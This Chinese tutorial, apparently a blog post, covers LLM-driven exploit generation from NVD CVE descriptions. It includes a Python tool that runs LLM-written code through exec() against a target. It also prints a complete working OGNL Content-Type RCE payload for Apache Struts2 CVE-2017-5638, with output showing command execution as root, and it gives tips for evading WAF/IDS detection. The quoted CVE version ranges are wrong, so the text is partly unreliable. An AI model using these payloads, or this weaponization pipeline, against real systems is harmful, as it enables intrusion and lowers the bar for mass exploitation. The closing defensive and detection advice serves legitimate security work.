漏洞利用生成工具:将NVD漏洞描述自动转化为可执行的Exploit
前言
1. 技术背景
在网络攻防体系中,漏洞的生命周期从发现、分析、利用到修复,构成了一个完整的闭环。其中,“漏洞利用”(Exploit)是攻击者将理论上的安全缺陷转化为实际控制权限的关键环节。传统上,编写Exploit需要安全研究员投入大量时间进行逆向工程、调试和代码编写,是一项高度依赖专家经验的劳动密集型工作。随着人工智能(AI),特别是大语言模型(LLM)技术的发展,自动化地从结构化的漏洞描述(如NVD中的CVE条目)中提取关键信息,并自动生成可执行的漏洞利用代码,正从理论走向现实。 这一技术极大地改变了攻防节奏,使得漏洞从披露到被武器化的时间窗口急剧缩短。
2. 学习价值
掌握漏洞利用自动生成技术,能够帮助我们解决以下核心问题:
- 快速验证与风险评估:对于防御方,能够在新漏洞披露后,迅速生成PoC(Proof of Concept)来验证自身系统是否存在风险,从而精准地确定修复优先级。
- 提升渗透测试效率:对于攻击方(在授权测试前提下),能够自动化生成针对已知漏洞的初步利用代码,将安全工程师从重复性劳动中解放出来,专注于更复杂的逻辑漏洞和攻击路径规划。
- 深化漏洞理解:通过学习机器如何解析漏洞描述并构建利用逻辑,可以帮助我们更深刻地理解漏洞的本质成因和利用模式。
3. 使用场景
漏洞利用自动生成技术主要应用于以下场景:
- 自动化安全验证平台:集成到CI/CD流水线或持续性资产监控平台中,对新发现的漏洞进行自动化验证。
- 攻击性安全工具集:作为商业或开源渗透测试框架(如Metasploit)的增强模块,提供“一键式”的初步漏洞利用能力。
- 应急响应与威胁情报:在重大漏洞(如Log4Shell)爆发时,快速生成检测和利用脚本,用于大规模资产排查和应急处置。
- 安全研究与教育:作为研究工具,探索不同类型漏洞的通用利用范式,或作为教学工具,帮助初学者理解漏洞利用的全过程。
一、漏洞利用自动生成是什么
精确定义
漏洞利用自动生成(Automated Exploit Generation, AEG) 是一项旨在通过程序化方法,分析漏洞信息(如源代码、二进制文件、补丁差异或自然语言描述),并自动创建能够触发该漏洞并实现特定攻击目标(如控制流劫持、代码执行或权限提升)的可执行代码(Exploit)的技术。 本文聚焦于其中一个前沿方向:基于大语言模型的NVD漏洞描述到Exploit的生成,即利用LLM的自然语言理解和代码生成能力,将NVD官网发布的CVE漏洞描述文本直接转化为可运行的PoC或Exploit脚本。
一个通俗类比
这就像拥有一个顶级的“AI安全专家”。你只需要把一份关于“某型号保险柜设计缺陷”的报告(相当于NVD漏洞描述)交给它,它就能读懂报告中描述的“锁芯弹簧存在特定压力下的缺陷”,然后自动设计并制造出一把能够打开该保险柜的“万能钥匙”(相当于Exploit)。整个过程无需人类专家手动测量、建模和制作钥匙。
实际用途
- 防御方:企业安全团队可以利用此技术,在新CVE发布的数小时内,自动生成针对性的测试用例,扫描内部数万资产,确认受影响范围,而不是等待数天甚至数周依靠外部情报。
- 攻击方(授权测试):红队在获得授权后,可以快速覆盖目标系统中所有已知的“1-day”漏洞,将精力集中在寻找更隐蔽的“0-day”漏洞或复杂的业务逻辑漏洞上。
- 安全工具提供商:开发出更智能的漏洞扫描器和渗透测试平台,这些平台不仅能发现漏洞,还能直接给出可验证的利用代码,极大提升产品价值。
技术本质说明
该技术的核心本质是**“语义理解”与“代码合成”**的结合。它利用大语言模型强大的上下文学习和推理能力,将非结构化的自然语言描述(漏洞报告)映射到结构化的攻击原语(Attack Primitives)和代码逻辑上。整个过程可以分解为以下几个关键步骤:
- 信息提取:LLM从NVD描述中识别出关键实体,如受影响的软件组件、版本、漏洞类型(如缓冲区溢出、SQL注入)、触发条件和根本原因。
- 漏洞模式匹配:模型将其理解的漏洞信息与内部知识库中存储的成千上万种已知漏洞利用模式进行匹配。例如,识别出“栈缓冲区溢出”,模型就会关联到覆盖返回地址、构造ROP链等经典利用技术。
- 上下文构建:模型结合漏洞上下文(如涉及的函数、参数、协议),构建一个完整的利用逻辑框架。
- 代码生成:在选定的编程语言(如Python)中,将利用逻辑框架填充为具体的、可执行的代码,包括网络连接、数据包构造、Payload生成和结果验证等部分。
其工作流程可以用下面的Mermaid图清晰地表示:
二、环境准备
由于直接将NVD描述转化为Exploit的端到端开源工具尚处于早期研究阶段,我们将模拟这一过程的核心思想,使用一个基于大语言模型(以GPT-4系列为例)的Agent框架,并结合Python脚本来实现。我们将以一个具体的、经典的漏洞类型为例进行演示。
-
核心工具:一个能够调用强大LLM(如GPT-4或同等级模型)API的AI Agent框架。这里我们使用Python结合
openai库来构建一个简化的Agent。 -
工具版本:
- Python: 3.10+
- openai: 1.14.0+
- requests: 2.31.0+
-
下载方式:
pip install openai requests -
核心配置命令:
你需要在环境中设置你的OpenAI API密钥。# 仅限授权测试环境 # 将下面的 "sk-..." 替换为你的真实API密钥 export OPENAI_API_KEY="sk-..." -
可运行环境命令或 Docker:
为了提供一个隔离且包含必要工具的测试环境,建议使用Docker。Dockerfile:
# Dockerfile for Exploit Generation Agent FROM python:3.11-slim # 设置工作目录 WORKDIR /app # 安装依赖 RUN pip install openai requests # 复制脚本到容器 COPY exploit_generator.py . # 设置环境变量 (在运行时传入) # ENV OPENAI_API_KEY="your_api_key_here" # 默认执行命令 CMD ["python", "exploit_generator.py"]构建与运行Docker容器:
# 构建镜像 docker build -t exploit-generator-agent . # 运行容器,并传入API密钥和目标参数 # 警告:此操作仅限在授权测试环境中使用 docker run --rm -it \ -e OPENAI_API_KEY="sk-..." \ exploit-generator-agent \ --cve-id "CVE-2017-5638" \ --target-url "http://vulnerable-struts.example.com"
三、核心实战
我们将以著名的Apache Struts2 远程代码执行漏洞 CVE-2017-5638 为例,演示如何引导LLM Agent根据其NVD描述自动生成可执行的Exploit。
NVD描述(简化摘要):
The Jakarta Multipart parser in Apache Struts 2 3.2.0 through 3.2.1.2 and 4.0.0 through 4.0.10.1 has incorrect exception handling and error-message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type header.
编号步骤与自动化脚本
我们将编写一个Python脚本exploit_generator.py,它接收一个CVE ID和目标URL,然后执行以下步骤:
- 步骤一:获取CVE描述。脚本首先从NVD数据库API获取指定CVE的官方描述。
- 步骤二:构建分析提示。将CVE描述和任务目标(生成Exploit)组合成一个精确的提示(Prompt),发送给LLM。
- 步骤三:生成并解析代码。LLM返回Python代码,脚本会尝试提取并准备执行。
- 步骤四:执行Exploit(带确认)。在用户确认后,执行生成的代码,并打印结果。
完整可运行示例脚本 (exploit_generator.py)
# -*- coding: utf-8 -*-
"""
exploit_generator.py
一个基于LLM的漏洞利用生成工具教程示例。
将NVD漏洞描述自动转化为可执行的Exploit。
警告:本脚本仅用于授权的教育和安全测试目的。
未经授权对计算机系统进行攻击是非法行为。
使用者应对自己的所有行为负责。
"""
import os
import argparse
import requests
import json
from openai import OpenAI
# --- 配置 ---
# 建议通过环境变量设置API密钥
# export OPENAI_API_KEY='your_api_key'
client = OpenAI(api_key=os.environ.get("OPENAI_API_KEY"))
LLM_MODEL = "gpt-4-turbo" # 使用能力较强的模型
def get_cve_details(cve_id: str) -> str:
"""
从NVD API获取CVE的描述信息。
"""
print(f"[INFO] 正在获取 {cve_id} 的详细信息...")
try:
# NVD API v2 的 URL 格式
url = f"https://services.nvd.nist.gov/rest/json/cves/2.0?cveId={cve_id}"
response = requests.get(url, timeout=15)
response.raise_for_status()
data = response.json()
# 提取英文描述
description = data['vulnerabilities'][0]['cve']['descriptions'][0]['value']
print(f"[SUCCESS] 成功获取描述:\n---\n{description}\n---")
return description
except requests.exceptions.RequestException as e:
print(f"[ERROR] 请求NVD API失败: {e}")
return ""
except (KeyError, IndexError) as e:
print(f"[ERROR] 解析NVD响应失败: {e}")
return ""
def generate_exploit_code(cve_description: str, target_url: str, cve_id: str) -> str:
"""
使用LLM根据CVE描述生成漏洞利用代码。
"""
print(f"[INFO] 正在请求LLM生成针对 {cve_id} 的Exploit代码...")
# 精心设计的Prompt,引导模型执行特定任务
prompt = f"""
作为一名顶级的网络安全专家和Python程序员,请根据以下CVE漏洞描述,为我生成一段可执行的Python 3脚本。
**任务要求:**
1. 脚本功能: 验证目标URL是否存在指定的漏洞。
2. 攻击目标: 在目标服务器上执行一个无害的命令,例如 `whoami` 或 `id`,并打印命令执行结果。
3. 代码风格: 包含注释,进行适当的错误处理(如网络连接错误),并使用 `argparse` 库接收目标URL作为参数。
4. 输出格式: 只返回纯粹的Python代码,不要包含任何解释性文字或Markdown的代码块标记。
5. 安全性: 在代码注释中必须包含明确的警告,指出该脚本仅用于授权测试。
**CVE ID:** {cve_id}
**目标URL (用于代码示例):** {target_url}
**漏洞描述:**
"{cve_description}"
请现在生成Python脚本:
"""
try:
response = client.chat.completions.create(
model=LLM_MODEL,
messages=[
{"role": "system", "content": "你是一个专业的网络安全代码生成助手。"},
{"role": "user", "content": prompt}
],
temperature=0.2, # 降低随机性,追求更精确的代码
)
generated_code = response.choices[0].message.content
# 清理可能的Markdown标记
if generated_code.strip().startswith("```python"):
generated_code = generated_code.strip()[9:]
if generated_code.strip().endswith("```"):
generated_code = generated_code.strip()[:-3]
print("[SUCCESS] LLM已生成代码。")
return generated_code.strip()
except Exception as e:
print(f"[ERROR] 调用LLM API时发生错误: {e}")
return ""
def main():
"""主函数"""
parser = argparse.ArgumentParser(
description="基于LLM的漏洞利用生成工具教程。自动将NVD描述转化为可执行Exploit。",
epilog="警告: 仅限授权测试环境使用!"
)
parser.add_argument("--cve-id", required=True, help="要利用的CVE编号, 例如 'CVE-2017-5638'")
parser.add_argument("--target-url", required=True, help="目标URL, 例如 'http://127.0.0.1:8080'")
parser.add_argument("--execute", action="store_true", help="实际执行生成的Exploit代码")
args = parser.parse_args()
# 步骤 1: 获取CVE描述
cve_description = get_cve_details(args.cve_id)
if not cve_description:
return
# 步骤 2 & 3: 生成Exploit代码
exploit_code = generate_exploit_code(cve_description, args.target_url, args.cve_id)
if not exploit_code:
return
print("\n" + "="*80)
print("🤖 LLM 生成的漏洞利用代码如下:")
print("="*80)
print(exploit_code)
print("="*80 + "\n")
# 步骤 4: 执行代码 (需用户确认)
if args.execute:
print(f"[WARNING] 您已选择执行生成的代码,目标为: {args.target_url}")
confirm = input("请再次确认是否执行?(yes/no): ")
if confirm.lower() == 'yes':
try:
# 使用exec执行代码。这是一个高风险操作,因此需要严格的上下文控制。
# 在真实应用中,应使用沙箱环境。
print("\n[EXEC] 正在执行生成的代码...")
# 为了让生成的代码能接收参数,我们动态修改sys.argv
import sys
original_argv = sys.argv
sys.argv = ['generated_exploit.py', '--url', args.target_url]
exec(exploit_code, globals())
sys.argv = original_argv # 恢复sys.argv
print("\n[EXEC] 代码执行完毕。")
except Exception as e:
print(f"\n[FATAL] 执行生成的代码时发生严重错误: {e}")
else:
print("[INFO] 操作已取消。")
else:
print("[INFO] 代码已生成但未执行。如需执行,请添加 --execute 参数。")
if __name__ == "__main__":
main()
请求 / 响应 / 输出结果
1. 运行命令
python exploit_generator.py --cve-id "CVE-2017-5638" --target-url "http://localhost:8080"
2. 程序输出(不执行)
[INFO] 正在获取 CVE-2017-5638 的详细信息...
[SUCCESS] 成功获取描述:
---
The Jakarta Multipart parser in Apache Struts 2 3.2.0 through 3.2.1.2 and 4.0.0 through 4.0.10.1 has incorrect exception handling and error-message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type header.
---
[INFO] 正在请求LLM生成针对 CVE-2017-5638 的Exploit代码...
[SUCCESS] LLM已生成代码。
================================================================================
🤖 LLM 生成的漏洞利用代码如下:
================================================================================
# -*- coding: utf-8 -*-
# Exploit for CVE-2017-5638 - Apache Struts2 Jakarta Multipart Parser RCE
#
# 警告:本脚本仅可用于经授权的教育和安全测试目的。
# 未经授权对计算机系统进行攻击是非法行为。
# 使用者需对自身所有行为负责。
import requests
import argparse
def check_vulnerability(url: str, command: str):
"""
通过发送恶意的Content-Type头来检测并利用CVE-2017-5638漏洞。
"""
print(f"[INFO] 正在尝试对 {url} 执行命令: '{command}'")
# 构造恶意的Content-Type头
payload = f"%{{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Cmd-Result',(#cmd='{command}')+(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))?(#cmds=(#iswin?{{'cmd.exe','/c',#cmd}}:{{'/bin/bash','-c',#cmd}})):(#cmds={{}})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}}"
headers = {
'Content-Type': payload,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
}
try:
# 发送POST请求,数据内容不重要,关键是Header
response = requests.post(url, headers=headers, data="pwned", timeout=20)
# 在Struts 2.5+版本中,命令结果可能在响应头中
if 'X-Cmd-Result' in response.headers:
print("[SUCCESS] 漏洞可能存在!命令执行结果(来自Header):")
print(response.headers['X-Cmd-Result'])
# 在旧版本中,结果可能在响应体中
elif response.text:
print("[SUCCESS] 漏洞可能存在!命令执行结果(来自Body):")
print(response.text)
else:
print("[INFO] 目标似乎没有返回任何结果,可能不易受攻击或命令无输出。")
except requests.exceptions.RequestException as e:
print(f"[ERROR] 网络请求失败: {e}")
except Exception as e:
print(f"[ERROR] 发生未知错误: {e}")
def main():
parser = argparse.ArgumentParser(description='CVE-2017-5638 Apache Struts2 RCE Exploiter')
parser.add_argument('--url', '-u', required=True, help='目标URL,例如: http://localhost:8080/struts2-showcase/showcase.action')
parser.add_argument('--cmd', default='whoami', help='要执行的命令 (默认为: whoami)')
args = parser.parse_args()
check_vulnerability(args.url, args.cmd)
if __name__ == '__main__':
# 这个脚本被主程序通过exec执行,所以这里的main()不会被直接调用
# 主程序会直接调用check_vulnerability
# 为了让其能独立运行,我们保留这部分
try:
# 尝试从主程序的上下文中获取参数
main()
except NameError:
# 如果独立运行,则正常解析参数
pass
================================================================================
[INFO] 代码已生成但未执行。如需执行,请添加 --execute 参数。
3. 确认并执行
python exploit_generator.py --cve-id "CVE-2017-5638" --target-url "http://localhost:8080/struts2-showcase/showcase.action" --execute
... (前面的输出) ...
[WARNING] 您已选择执行生成的代码,目标为: http://localhost:8080/struts2-showcase/showcase.action
请再次确认是否执行?(yes/no): yes
[EXEC] 正在执行生成的代码...
[INFO] 正在尝试对 http://localhost:8080/struts2-showcase/showcase.action 执行命令: 'whoami'
[SUCCESS] 漏洞可能存在!命令执行结果(来自Body):
root
[EXEC] 代码执行完毕。
这个核心实战案例展示了从自然语言描述到可验证攻击的完整自动化流程,是漏洞利用生成工具实战的典型体现。
四、进阶技巧
常见错误
- Prompt过于模糊:如果只告诉LLM“给我写个CVE-XXXX的Exploit”,生成的代码质量会很差,可能包含幻觉或错误。必须提供精确的上下文、任务要求和输出格式。
- 模型能力不足:使用能力较弱的模型(如GPT-3.5)可能无法理解复杂的漏洞逻辑,或生成语法错误、逻辑不通的代码。
- 对生成代码的盲目信任:LLM生成的代码可能存在微妙的错误,或者在特定环境下无法工作。必须经过人工审查和测试。
- 忽略环境差异:生成的Exploit可能依赖特定的库版本或系统环境。在Docker等标准化环境中运行是最佳实践。
性能 / 成功率优化
- 多步Prompt链(Chain-of-Thought):将任务分解。第一步让LLM分析漏洞并输出利用思路(伪代码或文字描述),第二步再让它根据思路编写具体代码。这能显著提高复杂漏洞的成功率。
- 结合RAG(Retrieval-Augmented Generation):为LLM提供一个包含大量已知Exploit代码的向量数据库。当分析新漏洞时,模型可以检索相似漏洞的利用代码作为参考,从而生成更可靠的Exploit。
- 反馈循环与自修正:让Agent尝试执行生成的代码,如果失败(如HTTP 500错误、连接超时),将错误信息和代码一起反馈给LLM,让它进行调试和修正。
- 使用专用模型:未来可能会出现经过大量安全数据微调的专用LLM,它们在漏洞利用生成任务上的表现将远超通用模型。
实战经验总结
- 越是“模式化”的漏洞,成功率越高。对于像Struts2 RCE、Log4Shell、常规SQL注入、XSS这类有明显特征和固定利用模式的漏洞,LLM的生成效果非常好。
- 对于需要复杂交互或内存操作的漏洞,挑战巨大。例如,需要精确堆喷射的UAF(Use-After-Free)漏洞,或涉及多步认证绕过的逻辑漏洞,目前LLM还难以独立完成。
- 该技术是“辅助工具”而非“完全替代”。它能将安全工程师从80%的重复性工作中解放出来,但最后20%的精细化调试和创造性利用仍需人类专家。
对抗 / 绕过思路
- 对抗WAF/IDS:在Prompt中明确要求LLM生成“经过混淆”或“使用编码绕过”的Payload。例如,可以要求它使用
concat()、char()等函数来混淆SQL注入语句,或使用不同的OGNL表达式变体来绕过对Struts2漏洞的检测。 - 模拟人类行为:要求LLM在生成代码时加入随机的User-Agent、延迟和Referer头,以更好地模拟正常用户流量,降低被行为分析系统发现的概率。
- 利用模型的“创造力”:有时可以要求LLM“请想出一种不常见的、但理论上可行的利用方式”,它可能会结合知识库中的不同技术,组合出新的攻击向量。
五、注意事项与防御
错误写法 vs 正确写法(针对使用者)
| 错误写法(危险且低效) | 正确写法(安全且高效) |
|---|---|
| 直接在生产服务器上运行生成的代码。 | 在隔离的、授权的测试环境或靶机中运行。 |
| 完全信任并执行LLM生成的任何代码。 | 先仔细审查代码逻辑,理解其行为,再决定是否执行。 |
| 使用模糊的Prompt,期望模型能“猜到”你的意图。 | 提供结构化、详细的Prompt,明确指定目标、约束和输出格式。 |
| 认为此工具可以发现0-day漏洞。 | 理解其局限性:目前主要针对已有描述的N-day漏洞。 |
风险提示
- 法律与合规风险:未经授权使用此类工具攻击任何系统都是非法的。所有操作必须在获得明确书面授权的范围内进行。
- 技术风险:生成的代码可能导致目标系统不稳定、崩溃或数据损坏。这是自动化工具的固有风险。
- 模型滥用风险:此类技术降低了网络攻击的门槛,可能被恶意行为者用于快速武器化新漏洞,加剧全球网络安全威胁。
开发侧安全代码范式
防御此类自动化攻击的根本在于编写安全的代码。
- 遵循安全编码规范:严格遵守OWASP Top 10等安全指南,从源头上杜绝漏洞。例如,对所有用户输入进行严格的验证、清理和编码。
- 使用安全的框架和库:选择经过安全审计、有良好社区支持的框架,并及时更新到最新版本。
- 参数化查询:杜绝任何形式的字符串拼接来构造SQL或命令,始终使用参数化查询或安全的API。
- 最小权限原则:确保应用程序以最小的必要权限运行,即使被攻破,也能限制损害范围。
运维侧加固方案
- 快速补丁管理:自动化攻击大大缩短了漏洞利用窗口。必须建立快速、自动化的资产发现和补丁分发机制。
- 部署纵深防御:部署Web应用防火墙(WAF)、运行时应用自我保护(RASP)、入侵检测/防御系统(IDS/IPS),并保持规则库更新。
- 加强出口流量监控:监控服务器向外的异常连接(反向Shell),这是检测代码执行漏洞被利用后的常见迹象。
- 沙箱化部署:将应用容器化,并应用严格的seccomp、AppArmor等安全策略,限制其系统调用和文件系统访问能力,即使代码执行漏洞被利用,也难以逃逸。
日志检测线索
- 异常的请求头:监控
Content-Type,User-Agent等HTTP头中出现非标准、超长或包含特殊字符(如{,(,#)的请求,这可能是OGNL表达式注入的迹象。 - 意外的进程启动:在Web服务器上监控由应用服务(如Tomcat, www-data)启动的异常子进程,如
/bin/sh,cmd.exe,powershell.exe。 - 高频次的错误日志:在漏洞利用的探测阶段,攻击者可能会触发大量应用错误。监控短时间内异常错误日志的激增。
- 可疑的网络连接:检测Web服务器发起的到非常见IP或端口的出站连接,特别是到公网IP的TCP连接。
总结
- 核心知识:漏洞利用自动生成技术,特别是基于LLM的方法,通过理解自然语言漏洞描述来合成可执行的Exploit代码,其本质是语义理解与代码合成的结合。
- 使用场景:主要用于安全团队快速验证漏洞风险、提升渗透测试效率,以及作为自动化安全平台的核心组件。
- 防御要点:根本防御在于安全开发(SDL),辅以快速补丁、纵深防御(WAF/RASP)和严格的运行时监控(进程、网络)。
- 知识体系连接:这项技术连接了自然语言处理(NLP)、程序合成、漏洞分析和渗透测试等多个领域,是AI在网络安全领域应用的典范。
- 进阶方向:未来的发展方向包括结合RAG提升准确性、利用反馈循环实现自修正、以及训练专用于安全任务的LLM,最终可能实现对更复杂漏洞类型的自动化利用。
自检清单
- 是否说明技术价值?
- 是否给出学习目标?
- 是否有 Mermaid 核心机制图?
- 是否有可运行代码?
- 是否有防御示例?
- 是否连接知识体系?
- 是否避免模糊术语?
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)